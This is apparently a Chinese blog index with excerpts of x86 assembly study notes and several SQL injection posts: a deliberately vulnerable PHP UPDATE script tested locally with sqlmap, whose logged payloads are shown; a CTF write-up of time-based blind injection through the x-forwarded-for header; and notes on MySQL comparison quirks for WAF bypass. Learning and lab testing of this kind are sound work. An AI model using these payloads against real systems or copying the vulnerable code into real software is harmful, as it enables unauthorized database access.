0%

内容主要参考《RE4B》

从今天开始,我们将学习《RE4B》这本书。这本书和汇编基础一起,将做为我们入门逆向工程的基础。

为了省去大家安装各种不同编译器的麻烦,我们将使用在线工具进行编译,地址如下:
[https://gcc.godbolt.org/]

HELLO WORLD

现在,我们形如演示各种编程书中的最著名的程序:

1
2
3
4
5
6
7
#include <stdio.h>

int main()
{
printf("Hello, world!\n");
return 0;
}

x86

函数调用约定 1,后 面一条指令会把EAX的值当作返回值传递给调用者函数,而调用者函数(caller)会从EAX寄存器里取值, 把它当作返回结果。

MSVC

使用在线工具的MSVC编译器,我们可以得到下面的汇编指令结果:

Read more »

子程序

在汇编语言中,无门并不能像高级语言中那样,在不和程序其他部分起冲突的情况下,定义和其他主程序或子程序一样的变量名。
汇编语言并不注重程序员的负担,它依赖程序员的良好设计,以期发挥CPU的最佳性能。
汇编语言不是结构化的语言,它不提供直接的“局部变量”。如果需要,只能通过堆或栈自行实现

参数的传递是靠寄存器堆栈来完成的。高级语言中,子程序(函数/过程,或者类似概念的东西)依赖于堆和栈来传递。

子程序的执行过程

无论是C/C++/BASIC/Pascal,子程序的执行过程基本都是一致的。

  • 调用者将子程序执行完成时应返回的地址/参数压入堆栈。
  • 子程序使用BP指针+偏移量对栈中的参数寻址,并取出,完成操作。
  • 子程序使用RETRETF指令返回。此时,CPU将IP置为堆栈中保存的地址,并继续予以执行。

毋庸置疑,堆栈在整个过程中发挥着非常重要的作用。不过,本质上对子程序最重要的还是返回地址,如果子程序不知道这个地址,那么系统将会崩溃。
调用子程序的指令是CALL,对应的返回指令是RET,另外还有ENTERLEAVE,她们可以帮助进行堆栈的维护。

CALL指令的参数是被调用子程序的地址。使用宏汇编的时候,这通常是一个标号。CALL和RET,一级ENTER和LEAVE配对,以实现对堆栈的自动操作,而不需要程序员进行PUSH/POP,以及跳转的操作,从而提高了效率。

下面一段程序,是从作者文档中抄下来的,我搭建环境并且编译之后,并没有得到相同的汇编代码,所以大家不用拘泥于下面的细节,但是可以从原作者的分析中得到一些有用的知识。

程序是这样的:

Read more »

[TOC]

堆栈

基本概念

  1. 堆栈是一个先进后出(FILO)的线性表
    FILO是指:最后放进表中的数据在取出时,最先出来,即 Fist in Last Out。
    3rd_1.png

  2. 系统堆栈不仅仅是一段内存。
    由于CPU对它实施管理,因此你不需要考虑堆栈指针的修正问题。可以把寄存器内容,甚至一个立即数直接放入堆栈里,并在需要的时候将其取出。同时,系统并不要求取出的数据任然回到原来的位置。

堆栈相关指令

除了显示地操作堆栈(使用pushpop指令)之外,很多指令也需要使用堆栈,如INTCALLLEAVERETRETEIRET等等。配对使用上述指令并不会造成什么问题,然而,如果你打算使用LEAVE、RET、RETE、IRET这样的指令实现跳转(比JMP更为麻烦,然而有时,例如在加密软件中,或者需要修改调用者状态时这是必要的)的话,那么要搞清楚他们做的到底是什么,并且精确而了解自己要做什么。

push/pop指令

push 寄存器:将一个寄存器中的数据压入堆栈;
pop 寄存器:将栈顶的数据弹出堆栈,并传入指定的寄存器。

1
2
push ax			;将ax中的数据入栈
pop ax ;将堆栈栈顶的数据弹出并传送给ax

push 段寄存器:将一个段寄存器中的数据压入堆栈;
pop 段寄存器:将栈顶表示的数据弹出,并传入端寄存器。

Read more »

[TOC]

参考文档:《简明 x86 汇编语言教程》作者:司徒彦南
##操作内存
我们可以将内存想象为一个顺序的字节流。操作内存是,首先需要的就是他的地址。

1
mov ax,[0]

方括号表示,里面的表达式指定的不是立即数,而是偏移量。在是模式中,DS:0中的那个会被装入AX。

1
mov [0],ax

mov指令也可以把数据保存到内存中。
###描述内存宽度的操作符

操作符 意义
byte ptr 一个字节(8-bit,1 byte)
word ptr 一个字(16-bit)
dword ptr 一个双字(32-bit)

例如,在DS:100h处保存1234h,以字存放:

1
mov word ptr [100h],01234h

于是,我们将mov指令扩展为:

Read more »

[TOC]

参考文档:《简明 x86 汇编语言教程》作者:司徒彦南
##使用寄存器
对x86基本寄存器的认识,对于一个汇编语言编程人员来说是不可或缺的。

###汇编语言中的整数常量表示
####十进制整数
这是汇编器默认的数制。直接用我们熟悉的表示方式表示即可。例如,1234表示十进制的1234。不过,如果你指定了使用其他数制,或者有凡事都进行完整定义的习惯,也可以写成[十进制数]d[十进制数]D在行式。
####十六进制数
这是汇编程序中最常用的数制。十六进制数表示为0[十六进制数]h0[十六进制数]H,其中,如果十六进制数的第一位是数字,则开头的0可以省略,例如7fffh0ffffh
####二进制数
这也是一种常用的数制。二进制表示为[二进制数]b[二进制数]B。一般程序中用二进制数表示掩码等数据非常的直观,但需要些很长的数据(4位二进制数相当于一位十六进制数)。例如,1010110b。
####八进制数
八进制数现在已经不是很常用了,一个典型的例子是Unix的文件属性。八进制数的形式是[八进制数]q[八进制数]Q[八进制数]o[八进制数]O。例如,777Q。
调试器默认使用十六进制表示整数

###简单指令
下面介绍一些指令,在这之前,我们约定:

  1. reg32,32-bit寄存器,如EAX、EBX等。
  2. reg16,16-bit寄存器,如AX,BX等。
  3. reg8?,8-bit寄存器,如AL,BH等。
  4. imm32,32-bit立即数,可以理解为常数。
  5. imm16,16-bit立即数。
  6. imm8? 8-bit立即数。

####MOV指令
mov,要move的缩写,它可以将数据发送到寄存器中。

1
2
3
4
5
6
7
mov reg32,(reg32 | imm8 | imm16 | imm32)
mov reg16,(reg16 | imm8 | imm16)
mov reg8,(reg8 | imm8)

例如:
mov eax,ebx ;ebx内容送入eax
mov ecx,ebx ;edx内容送入ecx

mov eax,010h表示在EAX寄存器中载入00000010h

####xchg指令

1
2
3
4
5
6
xchg reg32,reg32
xchg reg16,reg16
xchg reg8,reg8

例如:
xchg ebx,ecx,表示ebx与ecx的数值被交换。
Read more »

参考文档:《简明 x86 汇编语言教程》作者:司徒彦南

什么是汇编

汇编语言是一种最接近计算机核心的编码语言。不同于任何高级语言,汇编语言几乎可以完全和机器语言一一对应。
汇编语言就是机器语言的一种可以被人读懂的形式,只不过它更容易记忆。

学习汇编语言,你需要

1。 胆量。不要害怕去接触那些计算机内部工作机制。
2。 知识。了解计算机常用的数制,特别是二进制、十六进制、八进制,以及计算机保存数据的方法。
3。 开放。接受汇编语言与高级语言的差异,而不是去指责它如何的不好读。
4。 经验。要求你拥有任意其他编程语言的一点点编程经验。
5。 头脑。脑子是个好东西。

认识处理器

汇编语言被编译成机器语言之后,将有处理器(CPU)来执行。

典型处理器的主要任务

1。 从内存中获取机器语言指令,译码,执行。
2。 根据指令代码管理它自己的寄存器。
3。 根据指令或自己的需要修改内存的内容。
4。 响应其他硬件的中断请求。

寄存器

Read more »

[TOC]
##起因
update操作在数据库中用来更改数据,如果遇到这样的注入点,胡乱测试一通可能会引起不可恢复的错误,所以本地搭建环境写了个简单脚本测试下sqlmap是怎么注入update语句的注入点的。

##准备环境
###数据库设置
创建简单的表并插入数据

1
2
3
4
5
6
7
8
9
10
CREATE TABLE IF NOT EXISTS `atable` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`truename` varchar(32) NOT NULL,
`email` varchar(32) NOT NULL,
PRIMARY KEY (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

INSERT INTO `atable` (`userid`, `truename`, `email`) VALUES
(1, 'hello', '123123'),
(2, 'test', '111');

###有漏洞的PHP程序
创建有漏洞的php程序(sqli-update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
mysql_connect('localhost', 'root', 'root');
mysql_select_db('test');
$res = mysql_query('select names utf8');

if (isset($_GET)) {
$truename = $_GET['truename'];
$email = $_GET['email'];

var_dump($truename);
var_dump($email);

$sql = "UPDATE atable set `email`='$email' where `truename`='$truename'";

if (mysql_query($sql)) {
echo 'Success!';
}else{
echo "Failed!";
echo "<br/>";
echo mysql_error();
}
}else{
$sql='select * from atable';

$rows = mysql_query($sql);
while ($row = mysql_fetch_array($rows)) {
var_dump($row);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>SQLi UPDATE</title>
</head>
<body>
<form action='#' method="get">
用户名<input type="text" name="truename"><br/>
邮 箱<input type="text" name="email">
<input type="submit" name="submit" value="修改">
</form>
</body>
</html>
  1. sqlmap跑下加上v 3查看过程
    命令如下:sqlmap -u "http://192.168.1.110/test/sqli-update.php?truename=test&email=123123&submit=修改#" -p truename -v 3

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
GET parameter 'truename' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 436 HTTP(s) requests:
---
Parameter: truename (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: truename=test' RLIKE (SELECT (CASE WHEN (1387=1387) THEN 0x74657374 ELSE 0x28 END))-- yLoM&email=123123&submit=修改
Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: truename=test' AND (SELECT 5950 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(5950=5950,1))),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sDHA&email=123123&submit=修改
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: truename=test' AND SLEEP(5)-- gzuL&email=123123&submit=修改
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
[22:09:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[22:09:35] [INFO] fetching database names
[22:09:35] [DEBUG] searching for error chunk length...
[22:09:35] [PAYLOAD] test' AND (SELECT 7445 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x34,1024)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xlNW
[22:09:35] [PAYLOAD] test' AND (SELECT 6284 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x32,512)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EObM
[22:09:35] [PAYLOAD] test' AND (SELECT 1981 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x36,256)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iJmF
[22:09:35] [PAYLOAD] test' AND (SELECT 4432 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x34,54)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UOzJ
[22:09:35] [PAYLOAD] test' AND (SELECT 8781 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZjQp
[22:09:35] [INFO] the SQL query used returns 4 entries
[22:09:35] [PAYLOAD] test' AND (SELECT 1538 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- enAv
[22:09:36] [INFO] retrieved: information_schema
[22:09:36] [PAYLOAD] test' AND (SELECT 2345 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Ozef
[22:09:36] [INFO] retrieved: mysql
[22:09:36] [PAYLOAD] test' AND (SELECT 4469 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zwdT
[22:09:36] [INFO] retrieved: performance_schema
[22:09:36] [PAYLOAD] test' AND (SELECT 2893 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IOqF
[22:09:36] [INFO] retrieved: test
[22:09:36] [DEBUG] performed 9 queries in 0.62 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

##SQLMap的方式

提取SQLMap的注入语句,可发现如下关键注入方式:

Read more »

[TOC]
##介绍

  1. 这是一道Time-based Blind时间盲注的题目。
  2. SQLMAP自带的脚本无法完成注入。
  3. 注入点要header中的x-forwarded-for

##确定库数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /web/wonderkun/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

x-forwarded-for: 127.0.0.1' and (select case when (select count(*) from information_schema.schemata)=3 then sleep(5) else 1 end) and '1'='1

Accept-Language: en-US,en;q=0.5

Referer: http://www.shiyanbar.com/ctf/1941

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1508208443; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*112186%2CnickName%3Am0nst3r; PHPSESSID=01ip3nh6419ngbse16vt662di7; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1508378062

Connection: close

Cache-Control: max-age=0

当等于3的时候,响应为5秒,故数据库数量为3。
##确定库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /web/wonderkun/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

x-forwarded-for: 127.0.0.1' and (select case when (ascii(substr((select schema_name from information_schema.schemata limit 1 offset 0) from 1 for 1)))>1 then sleep(5) else 1 end) and '1'='1

Accept-Language: en-US,en;q=0.5

Referer: http://www.shiyanbar.com/ctf/1941

Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1508208443; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*112186%2CnickName%3Am0nst3r; PHPSESSID=01ip3nh6419ngbse16vt662di7; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1508378062

Connection: close

Cache-Control: max-age=0

##确定表名

##确定列名

##查询flag
看到过网上一篇文章写了一个脚本来跑,但是后来自己在实验过程中发现不对,原因是原作者的判断条件是用字符来判断的,然而:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select user from user where 'a'='A';
+------------------+
| user |
+------------------+
| root |
| root |
| root |
| debian-sys-maint |
| root |
+------------------+
5 rows in set (0.00 sec)
Read more »

敬原作者(应该是原作者,如有错误,请指正)
来自Wupco’s Blog

##根源
MySQL WHERE语句中,等号=通常作为判断条件,然而这个等号却是弱类型的判断,如果忽略了这一点,很容易造成安全问题,以下是原作者整理的匪夷所思的相等

##字符型和数字型
MySQL的等号同PHP一样,对等号两端不同的数据类型都有强制类型转换,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> select user name from user where '1'=1;
+------------------+
| name |
+------------------+
| root |
| root |
| root |
| debian-sys-maint |
| root |
+------------------+
5 rows in set (0.00 sec)

但却没有PHP的弱类型判断(此处本人不明白,为什么以下语句能说明这句话,望大神指点

1
2
mysql> select user name from user where 0.99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999=1;
Empty set (0.00 sec)

这个的应用范围很局限,但是又不得忽视,所以开发者在字段的数据类型的选择以及SQL语句的构造方面,要多多注意,防止等号两边类型不相同导致的漏洞。

1
2
3
4
5
6
7
8
9
10
11
mysql> select user name from user where '1d'=1;
+------------------+
| name |
+------------------+
| root |
| root |
| root |
| debian-sys-maint |
| root |
+------------------+
5 rows in set, 1 warning (0.01 sec)

这个我在本地实验没成功

##尾空格
MySQL等号对字符尾部的空格做忽视的处理,所以我们可以构造一个'abc'='abc [space]的效果,绕过某些特定串整体检查的WAF,不过相对来说,这个也比较鸡肋,因为很少有用的字符串直接对比来过滤某些敏感串的,直接用trim函数来避免。

Read more »

[TOC]

起因

在做CTF的时候,发现一个时间盲注,一时间忘记怎么手工,不能忍,果断搜索了一波。

作用

  1. 盲注
  2. 绕过过滤逗号,的注入点

MySql中的CASE表达式

定义参考

  1. 先附上官方参考:MySQL CASE 表达式参考

  2. CASE表达式的两种写法

    1
    2
    CASE value WHEN [compare_value] THEN result [WHEN [compare_value] THEN result ...] [ELSE result] END
    CASE WHEN [condition] THEN result [WHEN [condition] THEN result ...] [ELSE result] END

举例

  1. 第一种语法

     mysql> select case 1 when 1 then 'one' end;
     +------------------------------+
     | case 1 when 1 then 'one' end |
     +------------------------------+
     | one                          |
     +------------------------------+
     1 row in set (0.04 sec)
    
     mysql> select case 1 when 1=1 then sleep(5) end;
     +-----------------------------------+
     | case 1 when 1=1 then sleep(5) end |
     +-----------------------------------+
     |                                 0 |
     +-----------------------------------+
     1 row in set (5.00 sec)
    
     mysql> select case 1 when 1=2 then sleep(5) when 1=1 then sleep(2) end;
     +----------------------------------------------------------+
     | case 1 when 1=2 then sleep(5) when 1=1 then sleep(2) end |
     +----------------------------------------------------------+
     |                                                        0 |
     +----------------------------------------------------------+
     1 row in set (2.00 sec)
    
  2. 第二种用法

    mysql> select case when 1=1 then sleep(2) else sleep(5) end;
Read more »